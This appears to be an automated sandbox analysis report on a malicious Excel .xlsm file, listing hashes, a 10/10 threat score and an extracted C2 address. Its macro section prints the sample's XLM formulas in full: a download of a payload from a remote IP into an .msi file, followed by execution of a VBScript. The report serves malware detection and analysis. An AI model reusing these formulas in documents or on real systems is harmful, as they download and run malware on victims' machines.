Overview

overview

10

Static

static

10

e9ab3a8831...a.xlsm

windows7-x64

10

e9ab3a8831...a.xlsm

windows10-2004-x64

10

Sharing

Copy URL Twitter E-mail

General

  • Target

    e9ab3a8831d34614cc19c55a28e34d3a

  • Size

    6KB

  • MD5

    e9ab3a8831d34614cc19c55a28e34d3a

  • SHA1

    fddc3104843cd15a2ead9d19bd515ac793263176

  • SHA256

    476a93bc693b970cace853396e4832e48eec9a7bf55615cfcb81317f0afb2917

  • SHA512

    5a29bfff335b10d8b40a8e70e420f021669ffef2ea9ff3c26f6183d146cd12b24d2ac4685a7e823d9ff9d34c89623849a267f5be5b163e693c5fd1f30e120088

  • SSDEEP

    192:NDSauSYbrA2OmmfRL8UhHFBFYutb98yu92+9:NNulM2wp1FYIb98yu9h

Score
10/10
xlm

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://46.17.98.187/index.php

http://google.com/index.php
Attributes
  • formulas

    =CALL("Urlmon","URLDownloadToFileA","JJCCJJ",0,"http://46.17.98.187/index.php","C:\~\pes.msi",0,0) =CALL("Urlmon","URLDownloadToFileA","JJCCJJ",0,"http://google.com/index.php","C:\~\pes.msi",0,0) =EXEC("wscript C:\zer\spp.vbs") =HALT()

Signatures

Files

  • e9ab3a8831d34614cc19c55a28e34d3a
    .xlsm office2007